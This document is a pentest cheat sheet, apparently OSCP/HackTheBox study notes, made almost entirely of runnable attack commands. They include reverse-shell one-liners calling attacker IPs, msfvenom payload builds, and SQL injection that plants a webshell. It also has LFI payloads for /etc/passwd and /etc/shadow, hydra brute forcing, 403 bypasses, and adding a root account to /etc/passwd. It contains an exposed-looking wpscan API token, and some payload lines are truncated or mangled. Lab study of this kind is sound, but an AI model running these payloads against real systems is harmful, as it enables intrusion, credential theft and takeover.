Technology Detection on web + +```bash +whatweb http://domain.htb/ +``` + +#### Masscan + +```bash +# Fast web scan +masscan -p80 {IP ADDRESS}/24 --rate=1000 -e tap0 --router-ip {GATEWAY IP} + +masscan -p21,22,139,445 -Pn 192.168.111.0/24 --rate=1000 +masscan -p21,22,139,445 -Pn 192.168.0.0/16 --rate=10000 +``` + +#### SMB | TCP/139 | 445 + +```bash +smbmap -H IP + +smbclient -L IP -N + +smbclient -N -L //10.129.42.253 #list smb shares +smbclient -N //10.129.42.253//users #connect to an smb share +``` + +#### SMTP | TCP/25 + +```bash +# Connect to mail server + nc -nv {RHOST} 25 + +VRFY root +``` + +#### POP3 | 110 + +```bash +telnet {rhost} 110 +``` + +#### SSH | TCP/22 | 2222 + +```bash +ssh {USER}@{RHOST} + +hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://IP -s 2222 -t 15 + +# SSH Brute Force +hydra -f -l {USER} -P {pass.txt} ssh://{RHOST} +hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.2 -t 4 #example +hydra -f -t 16 -L {user.txt} -P {pass.txt} ssh://{RHOST +# Dicotrionary Attack +hydra -l student -P /usr/share/wordlists/rockyou.txt 192.230.83.3 ssh + + +# Upload w scp +scp file.txt user@IP:/home/user/Desktop + +# Download w scp +scp user@IP:/home/user/Desktop file.txt + +# Download file with scp while ssh +scp -i id_rsa pepe@domain.htb:/home/pepe/procmon_2024- +08-23_00:50:02.db domain.db + +# Port Forwarding +ssh -L 48763:localhost:8080 amay@10.10.11.28 + +# Pivotin through SSH +ssh adminuser@10.10.155.5 -i id_rsa -D 9050 + +#Change the info in /etc/proxychains4.conf also enable "Quiet Mode" +proxychains4 crackmapexec smb 10.10.10.0/24 #Example +``` + +### Adding SSH Public Key + +```bash +#This created both id_rsa and id_rsa.pub +ssh-keygen -t rsa -b 2048 -f racc0x + +chmod 700 ~/.ssh +touch authorized_keys # create file in ~/.ssh/ and copied content here +chmod 600 authorized_keys + +ssh user@TARGETIP +``` + +#### FTP | TCP/21 + +```bash +ftp 192.168.123.2 +ftp -A +nmap -p21 --script= #scan ftp w nmap + +wget -r ftp://IP + +# Download entire FTP directory +wget -r ftp://{USER}:{PASS}@{RHOST}/ + +# Brute force FTP +hydra -f -t 16 -l {user} -P {pass.txt} ftp://{RHOST} +hydra -f -t 16 -L {user.txt} -P {pass.txt} ftp://{RHOST} + +hydra -l pepito -P pass.txt ftp://IP -t 15 +``` + +#### DNS | UDP/53 + +```bash +dnsenum domain.htb + +#DNSRecon Brute Force +dnsrecon -d {DOMAIN} -D ~/{BRUTE_LIST.txt} -t brt + +gobuster dns -r IP -d Domain -w Wordlist -t 100 + +# DNS Bruteforce using dnsenum +dnsenum megacorpone.com + +dnsrecon -d megacorpone.com -t std #standard recon +dnsrecon -d megacorpone.com -D ~/list.txt -t brt #bruteforce, hence we provided list + +for ip in $(cat list.txt); do host $ip.megacorpone.com; done #DNS Bruteforce +for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found" #bash bruteforcer to find domain name +``` + +--- + +### OSINT + +```bash +https://osintframework.com/ + +# Google hacking +https://www.exploit-db.com/google-hacking-database + +# NetCraft +https://www.netcraft.com/ + +# Recon-ng + +# Github Search +filename:users + +# Qualys SSL lab +https://www.ssllabs.com/ssltest/ + +# Shodan +https://www.shodan.io/ + +# Security Header Scanner +https://securityheaders.com/ + +# Pastebin +https://pastebin.com/ + +# theHarvestor +theharvester -d {SITE} -b google + +# Social Searcher +https://www.social-searcher.com/ + +https://pimeyes.com + +#Leaked data +https://dehashed.com/ + +# Reverse IP LookUp nad more +https://viewdns.info/ + +#Subfinder +https://phonebook.cz + +#Passive Scan +https://github.com/UnaPibaGeek/ctfr +``` +#### Google Dorks + +```bash +https://www.exploit-db.com + +inurl:wp-config.php.txt +site:tiner.com filetype:txt +intext:tinder.com filetype:pdf +site:*.tinder.com +https://pentest-tools.com +``` + +--- + +### File Transfer + +```bash +wget http://HOST:PORT/file +curl http://HOST:PORT/file -o file +python3 -m http.server 8080 +``` + +### Password Hash | Cracking + +```bash +#cracking id_rsa or id_ecdsa +ssh2john id_ecdsa > hash +ssh2john id_rsa > hash + +hashcat -m $number hash wordlists.txt --force +hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -o found.txt --force +hashcat -m 0 -a 0 -o cracked.txt hash2.txt /usr/share/wordlists/rockyou.txt + +ssh2john.py id_rsa > hash +#Convert the obtained hash to John format(above link) +john hashfile --wordlist=rockyou.txt + + +john --wordlist=/home/sathvik/Wordlists/rockyou.txt hash +john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt +john --wordlist=rockyou.txt protected-docx.hash #hash protected +``` + +### fcrackzip + +```bash +fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt file.zip #Cracking zip files +``` + +--- + +## **Web Pentesting** + +[Script-Based Guide to Injection Attacks: SQLi, XSS, Command, XML, and HTML](https://medium.com/@harshleenchawla06/script-based-guide-to-injection-attacks-sqli-xss-command-xml-and-html-c11a810841e0) + +[File Inclusion - CheatSheet](https://github.com/attacker-codeninja/htb-cheatsheet/blob/master/lfi-rfi-cheatsheet.md) + +[HackTricks](https://book.hacktricks.xyz/) + + +### Domain Enumeration + +#### Dirsearch + +```bash +dirsearch -u http://url.htb + +dirsearch -u http://machine.htb/ --exclude-statuses 404 -o /path/to/output.txt +``` + +#### Feroxbuster + +```bash +feroxbuster -u http://domain.htb + +feroxbuster -u http://domain.htb/folder/folder/ -t 100 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,js,md + +feroxbuster -u http://domain.htb:8000 -m GET, POST + +feroxbuster -u http://example.com -w wordlist.txt -x 404 + +feroxbuster -u http://example.com -w wordlist.txt -o results.txt +``` + +#### Ffuf + +```bash +# Virtual Host Fuzzing +ffuf -u https://FUZZ.domain.htb/ -w /path/to/subdomains.txt -H "Host: FUZZ.domain.htb" + +ffuf -c -t 200 -w /usr/share/SecLists/Discovery/Web-Content/direcotry-list-2.3-medium.txt -u https://miwifi.com/FUZZ + +# Fuzzing for Content Discovery with Extensions w verbose output +ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://IP:PORT/w2ksvrus/FUZZ.html -e .php,.html,.txt,.bak,.js -v + +# Fuzzing GET Parameters +ffuf -u "https://domain.htb/page.php?FUZZ=value" -w /path/to/paramlist.txt + +# fuzzing with multiple parameters +ffuf -u https://host.com/FUZZ1/FUZZ2 -w /path/to/wordlist1.txt:/path/to/wordlist2.txt + +# filter response status codes +ffuf -u https://host.com/FUZZ -w /path/to/wordlist.txt -fc 404 + +# Fuzzing with parameter-based LFI +ffuf -u "https://host.com/page.php?file=FUZZ" -w /path/to/lfipayloads.txt + +# Fuzzing with a proxy +ffuf -u https://domain.com/FUZZ -w /path/to/wordlist.txt -x http://127.0.0.1:8080 + +# filter response size +ffuf -u https://domain.com/FUZZ -w /path/to/wordlist.txt -fs 1234 + +# match status codes +ffuf -u https://domain.com/FUZZ -w /path/to/wordlist.txt -mc 200,301,302 +``` + +#### Wfuzz + +```bash +wfuzz -c --hc=404,403 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt https://miwifi.com/FUZZ/ + +wfuzz -c --hw=6515 -t 200 -z range,1-20000 'https://mi.com/shop/buy/detail?product_id=FUZZ' + +wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/direcotry-list-2.3-medium.txt -z list,txt-php http://admin.domain.htb/directory/FUZZ.FUZ2Z #fuzz - txt,php +``` + +#### Gobuster + +```bash +gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt + +gobuster dir -u https://miwifi.com/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --add-slash -b 403,404 -x php,html,txt + +gobuster dir -u https://miwifi.com/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x html -s 200 -b '' +``` + + +```bash +whatweb http://url.htb +whatweb -l http://url.htb #list all plugins +whatweb -a http://url.htb -v # verbose +``` +- Wappalyzer + +#### Curl + +```bash +curl -I "http://${TARGET}" + +curl -s -X GET "http://sub.domain.htb/102834710284/file.php?action=show&site=FUZZ&password=12345&session=" # fuzz in page + +curl -X GET "http://domain.htb/_framework/file.dll" -H "Host: domain.htb" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" -H "X-Skipper-Proxy: http://127.0.0.1:5000" -H "Connection: close" --output file.dll #download file while BurpSuite with an vuln SSRF +curl -v http:// # verbose output +curl -X POST http:// # use POST method +curl -X PUT http:// # use PUT method +curl --path-as-is http:///../../../../../../etc/passwd # use --path-as-is to handle /../ or /./ in the given URL +curl --proxy http://127.0.0.1:8080 # use proxy +``` + +#### OpenSSL + +```bash +openssl s_client -connect tinder.com:443 #Verifi Certificate Web +``` + +#### Certificate SSL + +```bash +sslscan domain.com +``` + + +#### Droopescan | Drupal | CMS + +```bash +droopescan scan drupal --url http://ip:8080 +``` + +#### Joomscan | joomla | CMS + +```bash +perl joomscan.pl -u http://domain.htb/ + +droopescan scan joomla --url http://site + +sudo python3 joomla-brute.py -u http://site/ -w passwords.txt -usr username #https://github.com/ajnik/joomla-bruteforce +``` + +#### Magescan | Magento | CMS + +```bash +php magescan.phar scan:all http://name.htb/ +``` + +#### Wpscan | Wordpress | CMS + +```bash +# Basic usage +wpscan --url http://domain.htb:8080 + +wpscan --url "domain.htb" --verbose + +#search plugins & users +wpscan --url http://domain.htb:8080 -e vp,u +wpscan --url http://domain.htb:8080 --enumerate vp,u,vt,tt --follow-redirection --verbose --log target.log + +#Brute Force Attack +wpscan --url http://domain.htb -U admin -P /usr/share/wordlists/rockyou.txt + +# Add Wpscan API to get the details of vulnerabilties. +wpscan --url http://alvida-eatery.org/ --api-token NjnoSGZkuWDve0fDjmmnUNb1ZnkRw6J2J1FvBsVLPkA +``` + +### Subdomain Enumeration + +#### Ffuf + +```bash +ffuf -u http://IP -H "Host: FUZZ.domain.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac + +ffuf -c -u "http://domain.htb" -H "host: FUZZ.domain.htb" -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt -fc 301,302 -mc all +``` + +#### Gobuster + +```bash +gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt +``` + +#### Wfuzz + +```bash +wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt --hc 400,403,404,302 -H "Host: FUZZ.blazorized.htb" -u http://blazorized.htb -t 100 +``` + + +### Dealing with Passwords + +```bash +admin:admin +administrator:root +Administrator:root +root:admin + +password +password1 +Password1 +Password@123 +password@123 +admin +administrator +admin@123 +12345678 +``` +- BruteForce + +```powershell +hydra -L users.txt -P password.txt http-{post/get}-form "/path:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V +# Use https-post-form mode for https, post or get can be obtained from Burpsuite. Also do capture the response for detailed info. + +#Bruteforce can also be done by Burpsuite but it's slow, prefer Hydra! +``` + +```bash +#Application takes some time to reload, here it is 3 seconds +http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- // +``` + +- Manual Code Execution + +```bash +kali> impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth #To login +EXECUTE sp_configure 'show advanced options', 1; +RECONFIGURE; +EXECUTE sp_configure 'xp_cmdshell', 1; +RECONFIGURE; +#Now we can run commands +EXECUTE xp_cmdshell 'whoami'; + +#Sometimes we may not have direct access to convert it to RCE from web, then follow below steps +' UNION SELECT "", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- // #Writing into a new file +#Now we can exploit it +http://192.168.45.285/tmp/webshell.php?cmd=id #Command execution +``` +- SQLMap - Automated Code execution + +```bash +sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user #Testing on parameter names "user", we'll get confirmation +sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump #Dumping database + +#OS Shell +# Obtain the Post request from Burp suite and save it to post.txt +sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp" #/var/www/html/tmp is the writable folder on target, hence we're writing there +``` + +### Path Traversal | OWASP TOP 10 + +```bash +cat /etc/passwd #displaying content through absolute path +cat ../../../etc/passwd #relative path + +# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like this +cat ../../etc/passwd + +#In web int should be exploited like this, find a parameters and test it out +http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd +#check for id_rsa, id_ecdsa +#If the output is not getting formatted properly then, +curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd + +#For windows +http://192.168.221.193:3000/public/plugins/alertlist/../../../../../../../../Users/install.txt #no need to provide drive + +``` + +- URL Encodign + +```bash +#Sometimes it doesn't show if we try path, then we need to encode them +curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd +``` + +### Local File Inclusion | OWASP TOP 10 + +```bash +#At first we need +http://192.168.45.125/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami #we're passing a command here + +#Reverse shells +bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1" +#We can simply pass a reverse shell to the cmd parameter and obtain reverse-shell +bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 #encoded version of above reverse-shell + +#PHP wrapper +curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain," +curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.php +``` + +### LFI | OWASP TOP 10 + +```bash +LFI EXPLOITS + +Basic Payload +http://example.com/index.php?page=../../../etc/passwd +http://example.com/index.php?page=../../../../../../../../../../../../etc/shadow + +URL Encoding +http://example.com/index.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd + +Double Encoding +http://example.com/index.php?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd + +UTF-8 Encoding +http://example.com/index.php?page=%c0%ae%c0% ae/%c0%ae%c0% ae/%c0%ae%c0%ae/etc +/passwd + +Using Null Byte (%00) +http://example.com/index.php?page=../../../etc/passwd%00 + +From an Existent Folder +http://example.com/index.php?page=scripts/../../../../../etc/passwd + +Path Truncation +http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. +http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd SECURE CYBER EXPERIENCE + +Using PHP Wrappers: filter +http://example.com/index.php?page=php://filter/read-string.rot13/resource=config.php http://example.com/index.php?page=php://filter/convert.base64-encode/resource=config. +php + +Using PHP Wrappers: zlib +http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/ +resource=/etc/shadow + +Using PHP Wrappers: zip +echo "
"> payload.php; +zip payload.zip payload.php; +mv payload.zip shell.jpg; +rm payload.php +``` + + +### Bypass 403 (Forbidden) + +```bash +1. X-Original-URL: +# GET /anything HTTP/1.1 +# Host: target.com +# X-Original-URL: /admin + +2. Appending %2e after the first slash +# http://target.io/admin => 403 +# http://target.io/%2e/admin => 200 + +3. Try add dot (.) slash (/) and semicolon(;) in the URL +# http://target.io/admin => 403 +# http://target.io/admi/. => 200 +# http://target.io//admi// => 200 +# http://target.io/./admi/.. => 200 +# http://target.io/;/admi/ => 200 +# http://target.io/.;/admi/ => 200 +# http://target.io//;//admi/ => 200 + +4. Add "..;/" after the directory name +# http://target.io/admin +# http://target.io/admin..;/ + +1. Try to uppercase the alphabet in the url +# http://target.io/aDmIN +``` + + +### Netcat | Nc + +```bash +rlwrap nc -nlvp 9000 + +nc -lvnp 9001 + +nc -nv 192.168.1.1 80 #Just in case if nmap unable to pull a service +``` + +### Searchsploit + +```bash +searchsploit +searchsploit -m windows/remote/46697.py #Copies the exploit to the current location +``` + +### Reverse Shells w MSFVenom + +```bash +msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe +msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe > shell-x64.exe + +msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f asp > shell.asp +msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp +msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war +msfvenom -p php/reverse_php LHOST= LPORT= -f raw > shell.php +``` +#### One Line + +```bash +bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 +bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' +0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196 + +nc -e /bin/bash 10.10.14.16 7777 + +python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' + +ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' + +/bin/bash -c 'exec bash -i >& /dev/tcp// 0>&1' + +& /dev/tcp/10.10.14.88/7777 0>&1'");?> +& /dev/tcp/10.11.0.106/443 0>&1');?> +#For powershell use the encrypted tool that's in Tools folder + +# NOTE: Windows only +ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' +``` + +https://www.revshells.com/ +https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/ + +### Exiftool + +```bash +exiftool img.png +exiftool *.pdf +``` + + + + +## Linux Privilege Escalation + +_Linux Enumeration Commands_ + +```bash + +#list the name of the host/Display all network addresses of the host +hostname -I +# +uname -a +cat /proc/version # prints almost same infor of above command but more like gcc version.... +cat /etc/crontab #Cron Jobs +cat /etc/issue # exact version on the OS + +ps # lists the processes that are running + ps -A # all running processes + ps axjf # process tree + ps aux # displays processes with the users as well + +env # shows all the environment variable +sudo -l # lists the commands that any user run as root without password +groups # lists the groups that current user is in +id # lists id of group,user + +cat /etc/passwd - displays all the user + cat /etc/passwd | cut -d ":" -f 1 # removes other stuff & only displays users + ls /home - displays users + +bash -p + +history - previously ran commands which might have some sensitive info +ifconfig (or) ip a (or) ip route - network related information + +netstat - network route + netstat -a # all listening and established connection + netstat -at # tcp connections + netstat -au # udp connections + netstat -l # listening connections + netstat -s # network statistics + netstat -tp # connections with service name and pid we can also add "l" for only listening ports + netstat -i # interface related information + netstat -ano + +find command which helps us in finding lot of stuff, + + Syntax: find find . -name flag1.txt # find the file named “flag1.txt” in the current directory + find /home -name flag1.txt # find the file names “flag1.txt” in the /home directory + find / -type d -name config # find the directory named config under “/” + find / -type f -perm 0777 # find files with the 777 permissions (files readable, writable, and executable by all users) + find / -perm a=x # find executable files + find /home -user frank # find all files for user “frank” under “/home” + find / -mtime 10 # find files that were modified in the last 10 days + find / -atime 10 # find files that were accessed in the last 10 day + find / -cmin -60 # find files changed within the last hour (60 minutes) + find / -amin -60 # find files accesses within the last hour (60 minutes) + find / -size 50M # find files with a 50 MB size + find / -writable -type d 2>/dev/null # Find world-writeable folders + find / -perm -222 -type d 2>/dev/null # Find world-writeable folders + find / -perm -o w -type d 2>/dev/null # Find world-writeable folders + find / -perm -o x -type d 2>/dev/null # Find world-executable folders + We can also find programming languages and supported languages: find / -name perl*, find / -name python*, find / -name gcc* ...etc + find / -perm -u=s -type f 2>/dev/null # Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user. This is important! + +#Check commands you can execute with sudo +sudo -l +#Check Group id +id +#Check folder permissions +ls -la +#Check root process +ps -ef | grep root +#Search write-able services +ls -la $(find . -type s -writable 2>/dev/null) +#Search write-able files +ls -la $(find . -type f -writable 2>/dev/null) +#delete file +shred -zun 10 -v file.php +#Find all SUID binaries +find / -perm -4000 2>/dev/null +find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null +find / -user root -perm -4000 -print 2>/dev/null +find / -perm -u=s -type f 2>/dev/null +find / -writable -type d 2>/dev/null +dpkg -l #Installed applications on debian system +cat /etc/fstab #Listing mounted drives +lsblk #Listing all available drives +lsmod #Listing loaded drivers +getcap -r / 2>/dev/null #Capabilities +watch -n 1 "ps -aux | grep pass" #Checking processes for credentials +sudo tcpdump -i lo -A | grep "pass" #Password sniffing using tcpdump + +# List All Users on a System +cat /etc/passwd +# Search Passwords +grep -irE '(password|pwd|pass)[[:space:]]*=[[:space:]]*[[:alpha:]]+' * 2>/dev/null +# List All Users on a System (cleaner, only users) +awk –F’:‘ ’{ print $1}’ /etc/passwd +# List All Logged in Users +who | awk ‘{print $1}’ | sort | uniq | tr ‘\n’ ‘ ’ +# Find files modified < 1 day +find . -mtime -1 +find / -mtime -1 +# Find files modified < 5 min +find . -mmin -5 +find / -mmin -5 +# Find files within date range +find / -newermt 2022-09-15 ! -newermt 2022-09-19 -type f 2>/dev/null +# Web files +ls -alhR /var/www/ 2>/dev/null +ls -alhR /srv/www/htdocs/ 2>/dev/null +ls -alhR /usr/local/www/apache22/data/ +ls -alhR /opt/lampp/htdocs/ 2>/dev/null +# Creating entry for /etc/passwd +openssl passwd -1 -salt ignite pass123 +> $1$ignite$3eTbJm98O9Hz.k1NTdNxe1 +echo "temp:\$1\$ignite\$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash" >> /etc/passwd +su temp +pass pass123 +# OSCP Flag Proof +cat /root/proof.txt && whoami && hostname && ip addr +``` + +### Pivoting + +```bash +# For this you need to configuration the proxychains.conf +./chisel server -p 1234 --reverse #attacker machine .1 +./chisel client {IP}:1234 R:socks #victim machine .2 - tunnel redirection through a SOCKS socket. + +# Remote Port Forwarding +./chisel client 10.10.10.1:1234 R:22:20.20.20.3:22 #victim machine .2 +lsof -i:22 # Identify if the service is run by the port 22 + +#shh with proxychains +proxychains ssh user@20.20.20.3 + +./socat TCP-LISTEN:1111,fork TCP:10.10.10.1:6150 #victim machine .2 +./chisel client 20.20.20.2:1111 R:1111:socks #victim machine .3 + + +./socat TCP-LISTEN:443,fork TCP:20.20.20.2:442 # 20.20.20.3 +./socat TCP-LISTEN:442,fork TCP:10.10.10.1:441 # 20.20.20.2 + + + +``` + +### TTY + +```bash +python -c 'import pty; pty.spawn("/bin/bash")' +python3 -c 'import pty; pty.spawn("/bin/bash")' +echo 'os.system('/bin/bash')' +/bin/sh -i +/bin/bash -i +perl -e 'exec "/bin/sh";' +``` + +### Automated Scripts + +```bash +linPEAS.sh +LinEnum.sh +linuxprivchecker.py +unix-privesc-check +Mestaploit: multi/recon/local_exploit_suggester +``` + +### Sensitive Information + +```bash +cat .bashrc +env #checking environment variables +watch -n 1 "ps -aux | grep pass" #Harvesting active processes for credentials +#Process related information can also be obtained from PSPY +``` + +### Sudo/SUID/Capabilities + +- https://gtfobins.github.io/ + +```bash +sudo -l +find / -perm -u=s -type f 2>/dev/null +getcap -r / 2>/dev/null +``` + +### Cron Jobs + +```bash +#Detecting Cronjobs +cat /etc/crontab +crontab -l + +pspy #handy tool to livemonitor stuff happening in Linux + +grep "CRON" /var/log/syslog #inspecting cron logs +``` + +### NFS + +```bash +##Mountable shares +cat /etc/exports #On target +showmount -e #On attacker +###Check for "no_root_squash" in the output of shares + +mount -o rw : +#Now create a binary there +chmod +x +``` + +--- + +## Tools + +[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) +[ExplainShell](https://www.explainshell.com/) +[CrackShadow](https://null-byte.wonderhowto.com/how-to/crack-shadow-hashes-after-getting-root-linux-system-0186386/) +[linPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +[LinEnum](https://github.com/rebootuser/LinEnum) +[LinuxSmartEnum](https://github.com/diego-treitos/linux-smart-enumeration) +[LinuxExploitSuggester](https://github.com/mzet-/linux-exploit-suggester) +[GTFO-bins](https://gtfobins.github.io/) +[Chisel](https://github.com/jpillora/chisel) +[Socat](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat) + +# **Windows** + +#### Downloading on Windows + +```powershell +powershell -command Invoke-WebRequest -Uri http://LHOST:LPORT/FILE -Outfile C:\\temp\\FILE +iwr -uri http://lhost/file -Outfile file +certutil -urlcache -split -f "http://LHOST/FILE" FILE +copy \\kali\share\file . +``` + +### Command Windows + +- Network Enumerate +- Adding Users +- What users belong to groups that allow remote management? + +```powershell + +1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("IP", $_)) "TCP port $_ is open"} 2>$null #automating port scan of first 1024 ports in powershell + +net user hacker hacker123 /add +net localgroup Administrators hacker /add +net localgroup "Remote Desktop Users" hacker /ADD + +# (Depends on Domain Policies) +net user /domain #all users in domain +net user username /domain # information on a domain user +net group /domain +net group groupname /domain +#File and directory +Get-ChildItem or ls # list files in directory +Set-Location or cd # Change directory +New-Item -ItemType Directory # Create directory +Copy-Item # Copy files +Move-Item # Move/Rename items +Remove-Item # delete files +Get-Content # View file content +Select-String # Search file content +New-Item -ItemType file #Create an empty file +# System information +Get-Process # Display running processes +Get-ComputerInfo # Display system information +Get-NetIPConfiguration # Show network configuration +# User and Permissions +whoami # view current user +Get-LocalUser # List users on the system +Set-Acl # Change file permissions +(Get-Acl).Access # View file permissions +Resolve-DnsName # resolve dns name +Get-NetTCPConnection # view open ports +Get-NetAdapter # view network interfaces +# Scripting and variables +$variable = value # Declare a variable +$variable # display variable value +function MyFunc {} # Create a function +if ($condition) {} # Conditional statements +# +Start-Process -Verb RunAs # Run command as admin +``` + +### RDP + +```bash +xfreerdp /v: /u: /p: /cert-ignore +xfreerdp /v: /u: /p: /d: /cert-ignore +xfreerdp /v: /u: /p: /dynamic-resolution +clipboard +xfreerdp /v: /u: /d: /pth:'' /dynamic-resolution +clipboard +xfreerdp /v: /dynamic-resolution +clipboard /tls-seclevel:0 -sec-nla +rdesktop +``` + +### showmount + +```bash +/usr/sbin/showmount -e +sudo showmount -e +chown root:root sid-shell; chmod +s sid-shell +``` + +### SMB + +```powershell +netexec smb IP + +netexec smb 10.10.11.14 -u 'anyname' --shares +netexec smb 10.10.11.23 -u name -o '' --shares # List folders shares + +#crackmapexec +crackmapexec smb 192.168.1.100 -u username -p password +crackmapexec smb 192.168.1.100 -u username -p password --shares #lists available shares +crackmapexec smb 192.168.1.100 -u username -p password --users #lists users +crackmapexec smb 192.168.1.100 -u username -p password --all #all information +crackmapexec smb 192.168.1.100 -u username -p password -p 445 --shares #specific port +crackmapexec smb 192.168.1.100 -u username -p password -d mydomain --shares #specific domain + +# Search user in based error with file.txt +crackmapexec smb IP -u ../file.txt -p '' --kerberos | tee --/output.txt + +# List shares +netexec smb host/ip -u user -p password --shares +netexec smb host/ip -u guest -p '' --shares #without password +netexec smb host/ip -u guest -p '' -M spider_plus + +# Brute Force Rid: +netexec smb domain -u djlawkdjlakw -p '' --rid-brute 10000 + +smbclient -N -L //IP + +# Enumerate files +smbclient //ip/share -N +smbclient //ip/share -U username password + +#SMBmap +smbmap -H +smbmap -H -u -p +smbmap -H -u -p -d +smbmap -H -u -p -r + +# RID cycle attacks +lookupsid.py -no-pass 'user@domain.htb' 2000 +lookupsid.py -no-pass 'guest@rebound.htb' 8000 | grep SidTypeUser | cut -d' # list users +``` + +### LDAP | TCP/389 & Kerberos | TCP/88 + +```powershell +# Kerberoasting +crackmapexec ldap 10.10.10.12 -u admin -p pepito123 --kerberoast kerber.txt + +# Kerberoasting without PreAuth +GetUserSPNs.p -usersfile ../file.txt -dc-host IP -no-preauth jjones domain.htb/ + +#List all users +crackmapexec ldap 10.10.10.12 -u admin2 -p pepito123 --users | tee adusers.txt + +#Folders share +crackmapexec ldap 10.10.10.12 -u admin2 -p pepito123 --shares + +# search file on based a extensions +crackmapexec ldap 10.10.10.12 -u admin2 -p pepito123 --spider RedirectedFolders$ --pattern txt + +# Validate creds w WinRM +netexec winrm rebound.htb -u pepito -p '1234@$$5' +# Validate creds w Ldap +netexec ldap rebound.htb -u pepito -p '1234@$$5' -k + +# try on both ldap and ldaps, this is first command to run if you dont have any valid credentials. +ldapsearch -x -H ldap://: + +ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" +ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" +#CN name describes the info w're collecting +ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" +ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" +ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" +ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" +ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" +ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" +ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" + +#windapsearch.py +#for computers +python3 windapsearch.py --dc-ip -u -p --computers + +#for groups +python3 windapsearch.py --dc-ip -u -p --groups + +#for users +python3 windapsearch.py --dc-ip -u 